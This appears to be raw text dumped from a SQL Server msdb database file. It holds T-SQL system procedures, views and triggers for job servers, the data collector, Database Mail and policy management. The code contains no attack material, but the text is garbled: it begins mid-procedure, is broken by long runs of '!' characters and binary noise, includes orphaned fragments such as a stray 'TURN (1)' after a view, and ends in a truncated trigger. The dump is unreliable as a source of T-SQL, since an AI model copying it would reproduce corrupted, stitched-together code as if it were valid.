    @collector_type_uid        uniqueidentifier,
    @name                    sysname,
    @frequency                int = 5,                -- set by default to the minimum frequency
    @parameters                xml = NULL,
    @collection_item_id        int OUTPUT
AS
BEGIN
    DECLARE @TranCounter INT
    SET @TranCounter = @@TRANCOUNT
    IF (@TranCounter > 0)
        SAVE TRANSACTION tran_create_collection_item
    ELSE
        BEGIN TRANSACTION
    BEGIN TRY
        -- Security check (role membership)
        IF (NOT (ISNULL(IS_MEMBER(N'dc_admin'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
        BEGIN
            RAISERROR(14677, -1, -1, 'dc_admin')
            RETURN (1)
        END

        DECLARE @is_system bit
        SELECT    @is_system = is_system
        FROM dbo.syscollector_collection_sets
        WHERE collection_set_id = @collection_set_id
        
        IF (@is_system = 1)
        BEGIN
            -- cannot update, delete, or add new collection items to a system collection set
            RAISERROR(14696, -1, -1);
            RETURN (1)
        END

        SET @name            = NULLIF(LTRIM(RTRIM(@name)), N'')
        IF (@name IS NULL) 
        BEGIN
            RAISERROR(21263, -1, -1, '@name')
            RETURN (1)
        END
        
        IF (@frequency < 5)
        BEGIN
            DECLARE @frequency_as_char VARCHAR(36)
            SELECT @frequency_as_char = CONVERT(VARCHAR(36), @frequency)
            RAISERROR(21405, 16, -1, @frequency_as_char, '@frequency', 5)
            RETURN (1)
        END

        IF (NOT EXISTS(SELECT * from dbo.syscollector_collector_types
            WHERE @collector_type_uid = collector_type_uid))
        BEGIN
            DECLARE @collector_type_uid_as_char VARCHAR(36)
            SELECT @collector_type_uid_as_char = CONVERT(VARCHAR(36), @collector_type_uid)
            RAISERROR(14262, -1, -1, '@collector_type_uid', @collector_type_uid_as_char)
            RETURN (1)
        END
        
        IF (NOT EXISTS(SELECT * from dbo.syscollector_collection_sets
            WHERE @collection_set_id = collection_set_id))
        BEGIN
            DECLARE @collection_set_id_as_char VARCHAR(36)
            SELECT @collection_set_id_as_char = CONVERT(VARCHAR(36), @collection_set_id)
            RAISERROR(14262, -1, -1, '@collection_set_id', @collection_set_id_as_char)
            RETURN (1)
        END

        DECLARE @is_running bit
        SELECT    @is_running = is_running
        FROM dbo.syscollector_collection_sets
        WHERE collection_set_id = @collection_set_id
        IF (@is_running = 1)
        BEGIN
            RAISERROR(14675, -1, -1, @name)
            RETURN (1)
        END

        IF (@parameters IS NULL)
        BEGIN
            DECLARE @parameter_schema xml
            SELECT @parameter_schema = parameter_schema FROM syscollector_collector_types WHERE collector_type_uid = @collector_type_uid
            IF (@parameter_schema IS NOT NULL)    -- only allows parameters to be null if the collector type has a null schema
            BEGIN
                RAISERROR(21263, -1, -1, '@parameters')
                RETURN (1)
            END
        END
        ELSE IF (LTRIM(RTRIM(CONVERT(nvarchar(max), @parameters))) <> N'') -- don't check if the parameters are empty string
        BEGIN
            EXEC dbo.sp_syscollector_validate_xml @collector_type_uid = @collector_type_uid, @parameters = @parameters
        END

        INSERT INTO [dbo].[syscollector_collection_items_internal]
        (
            collection_set_id,
            collector_type_uid,
            name,
            frequency,
            parameters
        )
        VALUES
        (
            @collection_set_id,
            @collector_type_uid,
            @name,
            @frequency,
            @parameters
        )

        SET @collection_item_id = SCOPE_IDENTITY()

        IF (@collection_item_id IS NULL)
        BEGIN
            DECLARE @collection_item_id_as_char VARCHAR(36)
            SELECT @collection_item_id_as_char = CONVERT(VARCHAR(36), @collection_item_id)
            RAISERROR(14262, -1, -1, '@collection_item_id', @collection_item_id_as_char)
            RETURN (1)
        END

        IF (@TranCounter = 0)
            COMMIT TRANSACTION
        RETURN (0)
    END TRY
    BEGIN CATCH
        IF (@TranCounter = 0 OR XACT_STATE() = -1)
            ROLLBACK TRANSACTION
        ELSE IF (XACT_STATE() = 1)
            ROLLBACK TRANSACTION tran_create_collection_item

        DECLARE @ErrorMessage   NVARCHAR(4000);
        DECLARE @ErrorSeverity  INT;
        DECLARE @ErrorState     INT;
        DECLARE @ErrorNumber    INT;
        DECLARE @ErrorLine      INT;
        DECLARE @ErrorProcedure NVARCHAR(200);
        SELECT @ErrorLine = ERROR_LINE(),
               @ErrorSeverity = ERROR_SEVERITY(),
               @ErrorState = ERROR_STATE(),
               @ErrorNumber = ERROR_NUMBER(),
               @ErrorMessage = ERROR_MESSAGE(),
               @ErrorProcedure = ISNULL(ERROR_PROCEDURE(), '-');

        RAISERROR (14684, @ErrorSeverity, -1 , @ErrorNumber, @ErrorSeverity, @ErrorState, @ErrorProcedure, @ErrorLine, @ErrorMessage);
        
        RETURN (1)
    END CATCH
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`,<MBLx690o*Y0 Q8(CONVERT([sysname],serverproperty('ServerName')))040 8([attachment_encoding]='UUENCODE' OR [attachment_encoding]='BINHEX' OR [attachment_encoding]='S/MIME' OR [attachment_encoding]='MIME')0>0 O8
CREATE PROCEDURE sp_add_jobserver
  @job_id         UNIQUEIDENTIFIER = NULL, -- Must provide either this or job_name
  @job_name       sysname          = NULL, -- Must provide either this or job_id
  @server_name    sysname         = NULL, -- if NULL will default to serverproperty('ServerName')
  @automatic_post BIT = 1                  -- Flag for SEM use only
AS
BEGIN
  DECLARE @retval                    INT
  DECLARE @server_id                 INT
  DECLARE @job_type                  VARCHAR(12)
  DECLARE @current_job_category_type VARCHAR(12)
  DECLARE @msx_operator_id           INT
  DECLARE @local_server_name         sysname
  DECLARE @is_sysadmin               INT
  DECLARE @job_owner                 sysname
  DECLARE @owner_sid                 VARBINARY(85)
  DECLARE @owner_name                sysname

  SET NOCOUNT ON

  IF (@server_name IS NULL) OR (UPPER(@server_name collate SQL_Latin1_General_CP1_CS_AS) = N'(LOCAL)')
    SELECT @server_name = CONVERT(sysname, SERVERPROPERTY('ServerName'))

  -- Remove any leading/trailing spaces from parameters
  SELECT @server_name = UPPER(LTRIM(RTRIM(@server_name)))

  EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                              '@job_id',
                                               @job_name OUTPUT,
                                               @job_id   OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure

  -- First, check if the server is the local server
  SELECT @local_server_name = CONVERT(NVARCHAR,SERVERPROPERTY ('SERVERNAME'))

  IF (@server_name = UPPER(@local_server_name))
    SELECT @server_name = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))

  -- For a multi-server job...
  IF (@server_name <> UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName'))))
  BEGIN
    -- 1) Only sysadmin can add a multi-server job
    IF (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 0) 
    BEGIN
       RAISERROR(14398, -1, -1);
       RETURN(1) -- Failure
    END

    -- 2) Job must be owned by sysadmin
    SELECT @owner_sid = owner_sid, @owner_name = dbo.SQLAGENT_SUSER_SNAME(owner_sid)
    FROM msdb.dbo.sysjobs
    WHERE (job_id = @job_id)

    IF @owner_sid = 0xFFFFFFFF
    BEGIN
      SELECT @is_sysadmin = 1
    END
    ELSE
    BEGIN
      SELECT @is_sysadmin = 0
      EXECUTE msdb.dbo.sp_sqlagent_has_server_access @login_name = @owner_name, @is_sysadmin_member = @is_sysadmin OUTPUT
    END
    
    IF (@is_sysadmin = 0)
    BEGIN
      RAISERROR(14544, -1, -1, @owner_name, N'sysadmin')
      RETURN(1) -- Failure
    END

    -- 3) Check if any of the TSQL steps have a non-null database_user_name
    IF (EXISTS (SELECT *
                FROM msdb.dbo.sysjobsteps
                WHERE (job_id = @job_id)
                  AND (subsystem = N'TSQL')
                  AND (database_user_name IS NOT NULL)))
    BEGIN
      RAISERROR(14542, -1, -1, N'database_user_name')
      RETURN(1) -- Failure
    END

    SELECT @server_id = server_id
    FROM msdb.dbo.systargetservers
    WHERE (UPPER(server_name) = @server_name)
    IF (@server_id IS NULL)
    BEGIN
      RAISERROR(14262, -1, -1, '@server_name', @server_name)
      RETURN(1) -- Failure
    END
  END
  ELSE
    SELECT @server_id = 0

  -- Check that this job has not already been targeted at this server
  IF (EXISTS (SELECT *
               FROM msdb.dbo.sysjobservers
               WHERE (job_id = @job_id)
                 AND (server_id = @server_id)))
  BEGIN
    RAISERROR(14269, -1, -1, @job_name, @server_name)
    RETURN(1) -- Failure
  END

  -- Prevent the job from being targeted at both the local AND remote servers
  SELECT @job_type = 'UNKNOWN'
  IF (EXISTS (SELECT *
              FROM msdb.dbo.sysjobservers
              WHERE (job_id = @job_id)
                AND (server_id = 0)))
    SELECT @job_type = 'LOCAL'
  ELSE
  IF (EXISTS (SELECT *
              FROM msdb.dbo.sysjobservers
              WHERE (job_id = @job_id)
                AND (server_id <> 0)))
    SELECT @job_type = 'MULTI-SERVER'

  IF ((@server_id = 0) AND (@job_type = 'MULTI-SERVER'))
  BEGIN
    RAISERROR(14290, -1, -1)
    RETURN(1) -- Failure
  END
  IF ((@server_id <> 0) AND (@job_type = 'LOCAL'))
  BEGIN
    RAISERROR(14291, -1, -1)
    RETURN(1) -- Failure
  END

  -- For a multi-server job, check that any notifications are to the MSXOperator
  IF (@job_type = 'MULTI-SERVER')
  BEGIN
    SELECT @msx_operator_id = id
    FROM msdb.dbo.sysoperators
    WHERE (name = N'MSXOperator')

    IF (EXISTS (SELECT *
                FROM msdb.dbo.sysjobs
                WHERE (job_id = @job_id)
                  AND (((notify_email_operator_id <> 0)   AND (notify_email_operator_id <> @msx_operator_id)) OR
                       ((notify_page_operator_id <> 0)    AND (notify_page_operator_id <> @msx_operator_id))  OR
                       ((notify_netsend_operator_id <> 0) AND (notify_netsend_operator_id <> @msx_operator_id)))))
    BEGIN
      RAISERROR(14221, -1, -1, 'MSXOperator')
      RETURN(1) -- Failure
    END
  END

  -- Insert the sysjobservers row
  INSERT INTO msdb.dbo.sysjobservers
         (job_id,
          server_id,
          last_run_outcome,
          last_outcome_message,
          last_run_date,
          last_run_time,
          last_run_duration)
  VALUES (@job_id,
          @server_id,
          5,  -- ie. SQLAGENT_EXEC_UNKNOWN (can't use 0 since this is SQLAGENT_EXEC_FAIL)
          NULL,
          0,
          0,
          0)

  -- Re-categorize the job (if necessary)
  SELECT @current_job_category_type = CASE category_type
                                        WHEN 1 THEN 'LOCAL'
                                        WHEN 2 THEN 'MULTI-SERVER'
                                      END
  FROM msdb.dbo.sysjobs_view  sjv,
       msdb.dbo.syscategories sc
  WHERE (sjv.category_id = sc.category_id)
    AND (sjv.job_id = @job_id)

  IF (@server_id = 0) AND (@current_job_category_type = 'MULTI-SERVER')
  BEGIN
    UPDATE msdb.dbo.sysjobs
    SET category_id = 0 -- [Uncategorized (Local)]
    WHERE (job_id = @job_id)
  END
  IF (@server_id <> 0) AND (@current_job_category_type = 'LOCAL')
  BEGIN
    UPDATE msdb.dbo.sysjobs
    SET category_id = 2 -- [Uncategorized (Multi-Server)]
    WHERE (job_id = @job_id)
  END

  -- Instruct the new server to pick up the job
  IF (@automatic_post = 1)
    EXECUTE @retval = sp_post_msx_operation 'INSERT', 'JOB', @job_id, @server_name

  -- If the job is local, make sure that SQLServerAgent caches it
  IF (@server_id = 0)
  BEGIN
    EXECUTE msdb.dbo.sp_sqlagent_notify @op_type     = N'J',
                                        @job_id      = @job_id,
                                        @action_type = N'I'
  END

  RETURN(@retval) -- 0 means success
END
0&y0 V8
CREATE VIEW dbo.sysutility_ucp_filegroups
AS
   SELECT  [S].[urn]
        , [S].[parent_urn]
        , [S].[Name]
        , [S].[server_instance_name]
        , [S].[database_name]
        , [S].[powershell_path]
        , [S].[processing_time]
        FROM [dbo].[syn_sysutility_ucp_filegroups] S
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`.D<KCL0b1 B8CREATE PROCEDURE sp_delete_jobserver
  @job_id      UNIQUEIDENTIFIER = NULL, -- Must provide either this or job_name
  @job_name    sysname          = NULL, -- Must provide either this or job_id
  @server_name sysname
AS
BEGIN
  DECLARE @retval             INT
  DECLARE @server_id          INT
  DECLARE @local_machine_name sysname

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @server_name = LTRIM(RTRIM(@server_name))

  IF (UPPER(@server_name collate SQL_Latin1_General_CP1_CS_AS) = '(LOCAL)')
    SELECT @server_name = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))

  EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                              '@job_id',
                                               @job_name OUTPUT,
                                               @job_id   OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure

  -- First, check if the server is the local server
  EXECUTE @retval = master.dbo.xp_getnetname @local_machine_name OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure
  IF (@local_machine_name IS NOT NULL) AND (UPPER(@server_name) = UPPER(@local_machine_name))
    SELECT @server_name = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))

  -- Check server name
  IF (UPPER(@server_name) <> UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName'))))
  BEGIN
    SELECT @server_id = server_id
    FROM msdb.dbo.systargetservers
    WHERE (UPPER(server_name) = @server_name)
    IF (@server_id IS NULL)
    BEGIN
      RAISERROR(14262, -1, -1, '@server_name', @server_name)
      RETURN(1) -- Failure
    END
  END
  ELSE
    SELECT @server_id = 0

  -- Check that the job is indeed targeted at the server
  IF (NOT EXISTS (SELECT *
                  FROM msdb.dbo.sysjobservers
                  WHERE (job_id = @job_id)
                    AND (server_id = @server_id)))
  BEGIN
    RAISERROR(14270, -1, -1, @job_name, @server_name)
    RETURN(1) -- Failure
  END

  -- Instruct the deleted server to purge the job
  -- NOTE: We must do this BEFORE we delete the sysjobservers row
  EXECUTE @retval = sp_post_msx_operation 'DELETE', 'JOB', @job_id, @server_name

  -- Delete the sysjobservers row
  DELETE FROM msdb.dbo.sysjobservers
  WHERE (job_id = @job_id)
    AND (server_id = @server_id)

  -- We used to change the category_id to 0 when removing the last job server
  -- from a job. We no longer do this.
--  IF (NOT EXISTS (SELECT *
--                  FROM msdb.dbo.sysjobservers
--                  WHERE (job_id = @job_id)))
--  BEGIN
--    UPDATE msdb.dbo.sysjobs
--    SET category_id = 0 -- [Uncategorized (Local)]
--    WHERE (job_id = @job_id)
--  END

  -- If the job is local, make sure that SQLServerAgent removes it from cache
  IF (@server_id = 0)
  BEGIN
    EXECUTE msdb.dbo.sp_sqlagent_notify @op_type     = N'J',
                                        @job_id      = @job_id,
                                        @action_type = N'D'
  END

  RETURN(@retval) -- 0 means success
END
0rA2 +8(getdate())0h2 -8CREATE PROCEDURE [dbo].[sp_syscollector_delete_collection_item_internal]
    @collection_item_id         int,
    @name                       sysname
AS
BEGIN
    DECLARE @TranCounter INT
    SET @TranCounter = @@TRANCOUNT
    IF (@TranCounter > 0)
        SAVE TRANSACTION tran_delete_collection_item
    ELSE
        BEGIN TRANSACTION
    BEGIN TRY
        DELETE [dbo].[syscollector_collection_items_internal]
        WHERE collection_item_id = @collection_item_id
          AND name = @name

        IF (@TranCounter = 0)
            COMMIT TRANSACTION
        RETURN (0)
    END TRY
    BEGIN CATCH
        IF (@TranCounter = 0 OR XACT_STATE() = -1)
            ROLLBACK TRANSACTION
        ELSE IF (XACT_STATE() = 1)
            ROLLBACK TRANSACTION tran_delete_collection_item

        DECLARE @ErrorMessage   NVARCHAR(4000);
        DECLARE @ErrorSeverity  INT;
        DECLARE @ErrorState     INT;
        DECLARE @ErrorNumber    INT;
        DECLARE @ErrorLine      INT;
        DECLARE @ErrorProcedure NVARCHAR(200);
        SELECT @ErrorLine = ERROR_LINE(),
               @ErrorSeverity = ERROR_SEVERITY(),
               @ErrorState = ERROR_STATE(),
               @ErrorNumber = ERROR_NUMBER(),
               @ErrorMessage = ERROR_MESSAGE(),
               @ErrorProcedure = ISNULL(ERROR_PROCEDURE(), '-');

        RAISERROR (14684, @ErrorSeverity, -1 , @ErrorNumber, @ErrorSeverity, @ErrorState, @ErrorProcedure, @ErrorLine, @ErrorMessage);
        
        RETURN (1)
    END CATCH
END
0^1 9	8
CREATE TRIGGER [dbo].[syspolicy_delete_job_delete_trigger] on [dbo].[syspolicy_policies_internal]
FOR DELETE
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN;
	END

	DECLARE @jobID uniqueidentifier 

	-- Declare the cursor to iterate over the jobs that are only referenced 
	-- by deleted policies. The jobs that are still referenced by active policies 
	-- should not be deleted.
	DECLARE deleted_cursor CURSOR LOCAL FOR 
		SELECT DISTINCT d.job_id
		FROM deleted d
		WHERE 
			((d.execution_mode & 4) = 4) AND
			NOT EXISTS (SELECT * FROM msdb.dbo.syspolicy_policies p 
							WHERE 
							p.job_id = d.job_id AND 
							((p.execution_mode & 4) = 4) AND
							p.policy_id NOT IN (SELECT d2.policy_id FROM deleted d2))

	OPEN deleted_cursor
	FETCH deleted_cursor INTO @jobID
	
	WHILE (@@FETCH_STATUS=0)
	BEGIN
		-- delete the job(s), but do not delete the shared schedule
		IF (@jobID IS NOT NULL)
			EXEC msdb.dbo.sp_delete_job @job_id = @jobID, @delete_unused_schedule = 0

		FETCH deleted_cursor INTO @jobID
	END -- while (@@FETCH_STATUS=0)

    CLOSE deleted_cursor
    DEALLOCATE deleted_cursor


	-- See what jobs we need to disable.
	-- This can happen because we do not need to delete the job, but
	-- all policies that reference it are disabled.
	DECLARE jobs_to_disable CURSOR LOCAL FOR
		SELECT DISTINCT j.job_id
		FROM dbo.sysjobs_view j 
		JOIN deleted d ON d.job_id = j.job_id
		WHERE 
			j.enabled = 1 AND
			NOT EXISTS ( SELECT * from msdb.dbo.syspolicy_policies p2 
						WHERE p2.job_id = j.job_id AND p2.is_enabled = 1 AND ((p2.execution_mode & 4) = 4))
	
	OPEN jobs_to_disable
	FETCH jobs_to_disable INTO @jobID
	WHILE @@FETCH_STATUS = 0
	BEGIN
		EXEC msdb.dbo.sp_update_job @job_id = @jobID, @enabled = 0
		
		FETCH jobs_to_disable INTO @jobID
	END
	CLOSE jobs_to_disable
	DEALLOCATE jobs_to_disable

	-- update eventing infrastructure
	IF EXISTS ( SELECT * FROM deleted d WHERE ((d.execution_mode & 1) = 1))
	BEGIN
		EXEC sys.sp_syspolicy_update_ddl_trigger 
	END

	IF EXISTS (SELECT * FROM deleted d WHERE ((d.execution_mode & 2) = 2))
	BEGIN
		EXEC sys.sp_syspolicy_update_event_notification 
	END

END
0rna2 8CREATE VIEW dbo.sysutility_ucp_logfiles
AS
SELECT  [S].[urn]
        , [S].[parent_urn]
        , [S].[Growth]
        , [S].[GrowthType]
        , [S].[MaxSize]
        , [S].[Name]
        , [S].[Size]
        , [S].[UsedSpace]
        , [S].[FileName]
        , [S].[VolumeFreeSpace]
        , [S].[server_instance_name]
        , [S].[database_name]
        , [S].[powershell_path]
        , [S].[volume_name]
        , [S].[volume_device_id]
        , [S].[physical_server_name]
        , [S].[available_space] -- in bytes
        , CASE WHEN [S].[available_space] = 0.0 THEN 0.0 ELSE ([S].[UsedSpace] * 100)/[S].[available_space] END AS percent_utilization
        , [S].[processing_time]
FROM [dbo].[syn_sysutility_ucp_logfiles] S
TURN (1)
    END CATCH
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!H#3`C0
<DUn^	e0}v2 8([sensitivity]='CONFIDENTIAL' OR [sensitivity]='PRIVATE' OR [sensitivity]='PERSONAL' OR [sensitivity]='NORMAL')052 8CREATE PROCEDURE sp_help_jobserver
  @job_id                UNIQUEIDENTIFIER = NULL, -- Must provide either this or job_name
  @job_name              sysname          = NULL, -- Must provide either this or job_id
  @show_last_run_details TINYINT          = 0     -- Controls if last-run execution information is part of the result set (1 = yes, 0 = no)
AS
BEGIN
  DECLARE @retval INT

  SET NOCOUNT ON

  EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                              '@job_id',
                                               @job_name OUTPUT,
                                               @job_id   OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure

  -- The show-last-run-details flag must be either 1 or 0
  IF (@show_last_run_details <> 0)
    SELECT @show_last_run_details = 1

  IF (@show_last_run_details = 1)
  BEGIN
    -- List the servers that @job_name has been targeted at (INCLUDING last-run details)
    SELECT stsv.server_id,
           stsv.server_name,
           stsv.enlist_date,
           stsv.last_poll_date,
           sjs.last_run_date,
           sjs.last_run_time,
           sjs.last_run_duration,
           sjs.last_run_outcome,  -- Same as JOB_OUTCOME_CODE (SQLAGENT_EXEC_x)
           sjs.last_outcome_message
    FROM msdb.dbo.sysjobservers         sjs  LEFT OUTER JOIN
         msdb.dbo.systargetservers_view stsv ON (sjs.server_id = stsv.server_id)
    WHERE (sjs.job_id = @job_id)
  END
  ELSE
  BEGIN
    -- List the servers that @job_name has been targeted at (EXCLUDING last-run details)
    SELECT stsv.server_id,
           stsv.server_name,
           stsv.enlist_date,
           stsv.last_poll_date
    FROM msdb.dbo.sysjobservers         sjs  LEFT OUTER JOIN
         msdb.dbo.systargetservers_view stsv ON (sjs.server_id = stsv.server_id)
    WHERE (sjs.job_id = @job_id)
  END

  RETURN(@@error) -- 0 means success
END
053 %8((0))0Dj3 8
CREATE VIEW sysmail_allitems
AS
SELECT mailitem_id,
       profile_id,
       recipients,
       copy_recipients,
       blind_copy_recipients,
       subject,
       body,
       body_format,
       importance,
       sensitivity,
       file_attachments,
       attachment_encoding,
       query,
       execute_query_database,
       attach_query_result_as_file,
       query_result_header,
       query_result_width,
       query_result_separator,
       exclude_query_output,
       append_query_error,
       send_request_date,
       send_request_user,
       sent_account_id,
       CASE sent_status 
          WHEN 0 THEN 'unsent' 
          WHEN 1 THEN 'sent' 
          WHEN 3 THEN 'retrying' 
          ELSE 'failed' 
       END as sent_status,
       sent_date,
       last_mod_date,
       last_mod_user
FROM msdb.dbo.sysmail_mailitems
WHERE (send_request_user = SUSER_SNAME()) OR (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 1)

03 8CREATE PROCEDURE [dbo].[sp_syscollector_delete_collection_item]
    @collection_item_id        int = NULL,
    @name                    sysname = NULL
AS
BEGIN
    -- Security check (role membership)
    IF (NOT (ISNULL(IS_MEMBER(N'dc_admin'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14677, -1, -1, 'dc_admin')
        RETURN(1) -- Failure
    END

    DECLARE @retVal int
    EXEC @retVal = dbo.sp_syscollector_verify_collection_item @collection_item_id OUTPUT, @name OUTPUT
    IF (@retVal <> 0)
        RETURN (1)

    DECLARE @is_system          bit
    DECLARE @is_running         bit
    DECLARE @collection_set_id  int
    SELECT @is_running = s.is_running,
           @is_system = s.is_system,
           @collection_set_id = s.collection_set_id
    FROM dbo.syscollector_collection_sets s,
         dbo.syscollector_collection_items i
    WHERE i.collection_item_id = @collection_item_id
    AND s.collection_set_id = i.collection_set_id

    IF (@is_system = 1)
    BEGIN
        -- cannot update, delete, or add new collection items to a system collection set
        RAISERROR(14696, -1, -1);
        RETURN(1)
    END

    IF (@is_running = 1)
    BEGIN
        -- stop the collection set if it was running
        EXEC @retVal = sp_syscollector_stop_collection_set @collection_set_id = @collection_set_id
        IF (@retVal <> 0)
            RETURN (1)
    END

    -- all checks go, perform delete
    EXEC @retVal = sp_syscollector_delete_collection_item_internal @collection_item_id = @collection_item_id, @name = @name
    IF (@retVal <> 0)
        RETURN (1)
        
    RETURN (0)
END
0Ƃ2 8
CREATE TRIGGER [dbo].[syspolicy_instead_delete_policy_trigger] on [dbo].[syspolicy_policies_internal]
INSTEAD OF DELETE 
AS
BEGIN
	DECLARE @retval_check int;
